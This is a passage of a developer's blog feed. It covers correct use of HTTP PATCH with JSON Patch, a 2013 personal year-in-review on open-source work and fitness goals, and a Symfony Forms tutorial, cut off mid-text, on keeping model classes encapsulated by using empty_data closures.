&lt;p&gt;Modifying the email of the user &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;123&lt;/code&gt; by applying the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method to its JSON
representation looks like this:&lt;/p&gt;

&lt;div class=&quot;language-http highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;err&quot;&gt;PATCH /users/123

[
    { &quot;op&quot;: &quot;replace&quot;, &quot;path&quot;: &quot;/email&quot;, &quot;value&quot;: &quot;new.email@example.org&quot; }
]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So readable, and expressive! Wonderful ♥ &lt;strong&gt;This&lt;/strong&gt; is how the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt;
method MUST be used. If it succeeds, you get a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;200&lt;/code&gt; response.&lt;/p&gt;

&lt;p&gt;For XML aficionados, &lt;a href=&quot;http://tools.ietf.org/html/rfc5261&quot;&gt;RFC 5261&lt;/a&gt; describes an
XML patch framework utilizing XML Path language (XPath) selectors to update an
existing XML document.&lt;/p&gt;

&lt;p&gt;As of late 2014 (that is, &lt;em&gt;after&lt;/em&gt; the publication of this article), a new
&lt;a href=&quot;https://tools.ietf.org/html/rfc7396&quot;&gt;RFC&lt;/a&gt; introducing the JSON Merge Patch
format and describing another way to send a set of changes has been proposed. It
is very similar to the idea of sending only what needs to be updated, but it is
explicit thanks to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/merge-patch+json&lt;/code&gt; content type.&lt;/p&gt;

&lt;p&gt;To sum up, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method is not a replacement for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PUT&lt;/code&gt;
methods. It applies a delta (diff) rather than replacing the entire resource.
The request entity to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is of a &lt;strong&gt;different content-type&lt;/strong&gt; than the
resource that is being modified. Instead of being an entire resource
representation, it is a resource that describes changes to apply on a resource.&lt;/p&gt;

&lt;p&gt;Now, please, either don’t use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; method, or use it the right way!&lt;/p&gt;

&lt;p&gt;It is worth mentioning that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PATCH&lt;/code&gt; is not really designed for truly RESTful APIs,
as Fielding’s dissertation does not define any way to &lt;strong&gt;partially&lt;/strong&gt; modify
resources. But, Roy Fielding himself said that PATCH was something he created
for the initial HTTP/1.1 proposal because partial PUT is never RESTful.  Sure
you are not transferring a &lt;strong&gt;complete&lt;/strong&gt; representation, but REST does not
require representations to be complete anyway.&lt;/p&gt;

&lt;h2 id=&quot;useful-links&quot;&gt;Useful Links&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc5261&quot;&gt;An Extensible Markup Language (XML) Patch Operations Framework Utilizing XML
Path Language (XPath) Selectors&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tools.ietf.org/html/rfc5789&quot;&gt;PATCH Method for HTTP&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc6901&quot;&gt;JavaScript Object Notation (JSON) Pointer&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://tools.ietf.org/html/rfc6902&quot;&gt;JavaScript Object Notation (JSON) Patch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://www.mnot.net/blog/2012/09/05/patch&quot;&gt;Why PATCH is Good for Your HTTP API&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://jasonsirota.com/rest-partial-updates-use-post-put-or-patch&quot;&gt;REST Partial Updates: Use POST, PUT or
PATCH?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://intertwingly.net/blog/2008/02/15/Embrace-Extend-then-Innovate&quot;&gt;Embrace, Extend then
Innovate&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/19732423/why-isnt-http-put-allowed-to-do-partial-updates-in-a-rest-api&quot;&gt;Why isn’t HTTP PUT allowed to do partial updates in a REST
API?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://blog.earaya.com/blog/2013/05/30/the-right-way-to-do-rest-updates/&quot;&gt;The Right Way to Do REST
Updates&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://soabits.blogspot.fr/2013/01/http-put-patch-or-post-partial-updates.html&quot;&gt;HTTP PUT, PATCH or POST - Partial updates or full
replacement?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://philsturgeon.uk/api/2016/05/03/put-vs-patch-vs-json-patch/&quot;&gt;PUT vs PATCH vs
JSON-PATCH&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </entry>
    
    <entry>
        <title>Numbers. Gifts. Money.</title>
        <link href="https://williamdurand.fr/2013/12/31/numbers-gifts-money/"/>
        <updated>2013-12-31T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/12/31/numbers-gifts-money</id>
        <content type="html">&lt;p&gt;In 5 hours, a new year will start, 2014. But let’s take a look at 2013 first.&lt;/p&gt;

&lt;p&gt;I wrote 15 articles, including this one—this is fewer than the previous year
(18), even though one of my goals for 2013 was to blog more. However, more than
70,000 unique visitors read my thoughts. That’s amazing! Even better, on
Tuesday, July 30, 2013—the publication date of &lt;a href=&quot;/2013/07/30/from-stupid-to-solid-code/&quot;&gt;From STUPID to SOLID
Code!&lt;/a&gt;–this website attracted over 6,000
unique visitors.&lt;/p&gt;

&lt;p&gt;The three most viewed posts were:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;/2013/07/30/from-stupid-to-solid-code/&quot;&gt;From STUPID to SOLID Code!&lt;/a&gt; (20,652
views)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2013/07/04/on-open-sourcing-libraries/&quot;&gt;On Open Sourcing Libraries&lt;/a&gt; (11,779
views)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;/2013/08/07/ddd-with-symfony2-folder-structure-and-code-first/&quot;&gt;DDD with Symfony2: Folder Structure and Code
First&lt;/a&gt; (9,035
views)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;It is worth mentioning that &lt;a href=&quot;/2012/08/02/rest-apis-with-symfony2-the-right-way/&quot;&gt;REST APIs with Symfony2: The Right
Way&lt;/a&gt; received 59,723 unique
visitors this year—even though the article was written in 2012.&lt;/p&gt;

&lt;p&gt;These three blog posts explore Open Source and web development topics. Today, I
must confess that I am not a PHP/web developer, I am not even a developer. I am
a PhD student. My daily job is related to industrial computing and software
testing. I don’t do programming, and if I would have to, I would use C#/.NET.&lt;/p&gt;

&lt;p&gt;During events like SymfonyCon Warsaw, I have encountered individuals who find it
challenging to understand why I contribute so much to Open Source projects. I
engage in such contributions during my spare time purely out of curiosity, and
it’s pretty addictive too. But apart from that, I am not too sure what I should
be replying. Like, who would do that otherwise? Not everyone is allowed to do
Open Source at work, and Open Source relies a lot on enthusiasts/hobbyists. I am
certainly not the only person who contributes to Open Source for fun.&lt;/p&gt;

&lt;p&gt;Talking about Open Source, &lt;a href=&quot;https://github.com/geocoder-php/Geocoder&quot;&gt;Geocoder&lt;/a&gt;
reached 1200+ stargazers, while
&lt;a href=&quot;https://github.com/willdurand/Negotiation&quot;&gt;Negotiation&lt;/a&gt; has been installed more
than 116,000 times, and
&lt;a href=&quot;https://github.com/willdurand/BazingaJsTranslationBundle&quot;&gt;BazingaJsTranslationBundle&lt;/a&gt;
has been installed more than 77,000 times. This means that
BazingaJsTranslationBundle is my most-used Symfony bundle under my GitHub
account (“my” most used bundle would actually be
&lt;a href=&quot;https://github.com/FriendsOfSymfony/FOSJsRoutingBundle&quot;&gt;FOSJsRoutingBundle&lt;/a&gt;).
My next most-installed project is probably
&lt;a href=&quot;https://github.com/willdurand/JsonpCallbackValidator&quot;&gt;JsonpCallbackValidator&lt;/a&gt;.
Also, &lt;a href=&quot;https://github.com/willdurand/anchorify.js&quot;&gt;Anchorify.js&lt;/a&gt; remains my
most-starred JavaScript library.&lt;/p&gt;

&lt;p&gt;According to this &lt;a href=&quot;https://gist.github.com/paulmillr/2657075&quot;&gt;list&lt;/a&gt;, I am the
47th most active GitHub user. &lt;em&gt;Cool story, bro!&lt;/em&gt; Anyway, all this Open Source
work takes time and energy. So, next time you wonder why I’m doing all of this
without being rewarded or without using it myself, please don’t ask :)&lt;/p&gt;

&lt;p&gt;I’m rewarded every single day. Most of the time because people use my stuff, and
sometimes, they even appreciate it! I receive emails or tweets with heartfelt
messages weekly. This is incredibly gratifying and truly rewarding! This year, I
even shared my Amazon Wish List on Twitter, and I had the pleasure of receiving
gifts for Christmas:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2013/12/gifts.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;In no particular order, I would like to thank @pborreli, @weaverryan,
@leannapelham, @lsmith, @mathiasverraes, @toin0u and @youb_s for these awesome
gifts!&lt;/p&gt;

&lt;p&gt;I know that money in Open Source is always a tricky topic. Be sure that I won’t
get paid twice for the Open Source work I am doing. I am not sponsored by
anyone, and over the last three years, I’ve never asked for compensation. I
don’t need money to create new projects or to maintain them. However, domain
names, GitHub account, etc. aren’t free ;-)&lt;/p&gt;

&lt;p&gt;Next year, I plan to continue my Open Source contributions and explore new
opportunities for growth. While I have exciting ideas for improving REST support
in PHP/Symfony, I also want to expand my knowledge into new programming
languages. Why not share what I learned with a new community? Who knows where it
might lead? Additionally, I have a number of books to read and am committed to
writing thoughtful reviews for each one.&lt;/p&gt;

&lt;p&gt;On a personal plan, I lost 15 kilograms in 2013. This was part of my new
lifestyle changes. I stopped drinking alcohol. I’m also getting into
&lt;a href=&quot;https://en.wikipedia.org/wiki/Semi-vegetarianism&quot;&gt;flexitarianism&lt;/a&gt;. I feel much
better now and enjoy a more balanced diet. My fitness routine includes running,
mountain biking, squash, and soccer.&lt;/p&gt;

&lt;p&gt;I have three goals for 2014:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;run 10 kilometers in under 40 minutes&lt;/li&gt;
  &lt;li&gt;swim faster and improve endurance (~2 km)&lt;/li&gt;
  &lt;li&gt;compete in a triathlon&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Other goals include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;reading more books&lt;/li&gt;
  &lt;li&gt;writing more, possibly authoring a book&lt;/li&gt;
  &lt;li&gt;speaking at conferences&lt;/li&gt;
  &lt;li&gt;improving my English&lt;/li&gt;
  &lt;li&gt;dominating the world&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Wishing you a Happy New Year. Best wishes for your family and yourself! I look
forward to seeing you next year!&lt;/p&gt;

&lt;p&gt;Thank you ♥ ♥ ♥&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;That’s a joke derived from &lt;a href=&quot;https://en.wikipedia.org/wiki/Pinky_and_the_Brain&quot;&gt;Pinky and the
Brain&lt;/a&gt;. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</content>
    </entry>
    
    <entry>
        <title>Enforcing Data Encapsulation with Symfony Forms</title>
        <link href="https://williamdurand.fr/2013/12/16/enforcing-data-encapsulation-with-symfony-forms/"/>
        <updated>2013-12-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2013/12/16/enforcing-data-encapsulation-with-symfony-forms</id>
        <content type="html">&lt;p&gt;Having classes (entities or whatever related to your model layer) that exposes
attributes publicly, i.e. setters and getters for all attributes is just a &lt;strong&gt;non
sense&lt;/strong&gt;. Basically, a class with &lt;em&gt;attributes/getters/setters&lt;/em&gt; is the same thing
as a class with public properties or even as an array. &lt;strong&gt;Don’t do that!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You should rather write classes that own data, and keep them in a safe place.
That is called &lt;strong&gt;encapsulation&lt;/strong&gt;. &lt;strong&gt;Encapsulation&lt;/strong&gt; is &lt;strong&gt;one of the four
fundamentals&lt;/strong&gt; in Object-Oriented Programming (OOP). It is used &lt;a href=&quot;http://en.wikipedia.org/wiki/Encapsulation_(object-oriented_programming)&quot;&gt;to hide the
values or state of a structured object inside a
class&lt;/a&gt;,
preventing unauthorized parties direct access to them. That is why you should
&lt;a href=&quot;/2013/06/03/object-calisthenics/#9-no-getterssettersproperties&quot;&gt;avoid getters and
setters&lt;/a&gt; as much
as you can, not to say all the time!&lt;/p&gt;

&lt;p&gt;Working with the &lt;a href=&quot;http://symfony.com/doc/current/components/form/introduction.html&quot;&gt;Symfony
Form&lt;/a&gt;, it may
be hard to decouple your code, and to not rely on getters and setters. Mathias
Verraes describes a great approach in &lt;a href=&quot;http://verraes.net/2013/04/decoupling-symfony2-forms-from-entities/&quot;&gt;Decoupling (Symfony2) Forms from
Entities&lt;/a&gt;,
and I strongly agree with him. To sum up, the Form component should be used in
your Presentation Layer, and it should not mess with your Model Layer. Use
commands or DTOs with Forms, then create or act on your Model entities in the
Application Layer (i.e. in your controllers).&lt;/p&gt;

&lt;p&gt;However, the aim of this blog post is to show you how to keep &lt;strong&gt;decent model
classes&lt;/strong&gt; even with the Form component. In other words, don’t write poor model
classes because of the framework you are using. You should design your model
classes to fit your business, and according to OOP paradigms, not because
framework X sucks at hydrating an object. I guess it is Hibernate’s fault at
some point, at least in the Java world with their
&lt;a href=&quot;http://en.wikipedia.org/wiki/Plain_Old_Java_Object&quot;&gt;POJOs/JavaBeans&lt;/a&gt;, but I am
digressing…&lt;/p&gt;

&lt;p&gt;The solution to not rely on getters and setters is to control how objects are
created into the Form component. In order to do that, you can rely on the
&lt;a href=&quot;http://symfony.com/doc/current/cookbook/form/use_empty_data.html#option-2-provide-a-closure&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;empty_data&lt;/code&gt;&lt;/a&gt;
option.&lt;/p&gt;

&lt;p&gt;Let’s take an example. Among other things, your model layer defines a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Customer&lt;/code&gt;
entity that owns a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; and an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Email&lt;/code&gt; value object. You don’t want to break
encapsulation and &lt;a href=&quot;http://williamdurand.fr/2013/07/30/from-stupid-to-solid-code/&quot;&gt;write SOLID
code&lt;/a&gt; instead, so
you end up writing the following &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Customer&lt;/code&gt; class definition:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;My\Model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Customer&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * @var Email
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Email&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;  &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Email&lt;/code&gt; value object can be defined as follows. Thank you
&lt;a href=&quot;http://verraes.net/&quot;&gt;Mathias&lt;/a&gt; by the way.&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;My\Model&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Email&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;email&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CustomerType&lt;/code&gt;, all you need to do is configure the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;empty_data&lt;/code&gt;
option in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setDefaultOptions()&lt;/code&gt; method using a &lt;strong&gt;closure&lt;/strong&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;My\Form\Type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;My\Model\Customer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\AbstractType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\FormBuilderInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Form\FormInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\OptionsResolver\OptionsResolverInterface&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;CustomerType&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;AbstractType&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;buildForm&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FormBuilderInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;array&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$builder&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;string&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;EmailType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;cd&quot;&gt;/**
     * {@inheritdoc}
     */&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;setDefaultOptions&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;OptionsResolverInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$resolver&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;setDefaults&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;data_class&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;My\Model\Customer&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;s1&quot;&gt;&apos;empty_data&apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;FormInterface&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Customer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                    &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
                    &lt;span class=&quot;nv&quot;&gt;$form&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;email&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is worth mentioning that it works fine with custom types, collections, and so
on. In the example above, it relies on a custom &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EmailType&lt;/code&gt; rather than directly
using the built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;email&lt;/code&gt; type and creating the value object in the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CustomerType&lt;/code&gt;. The creation is left to this &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EmailType&lt;/code&gt;. Calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getData()&lt;/code&gt; on
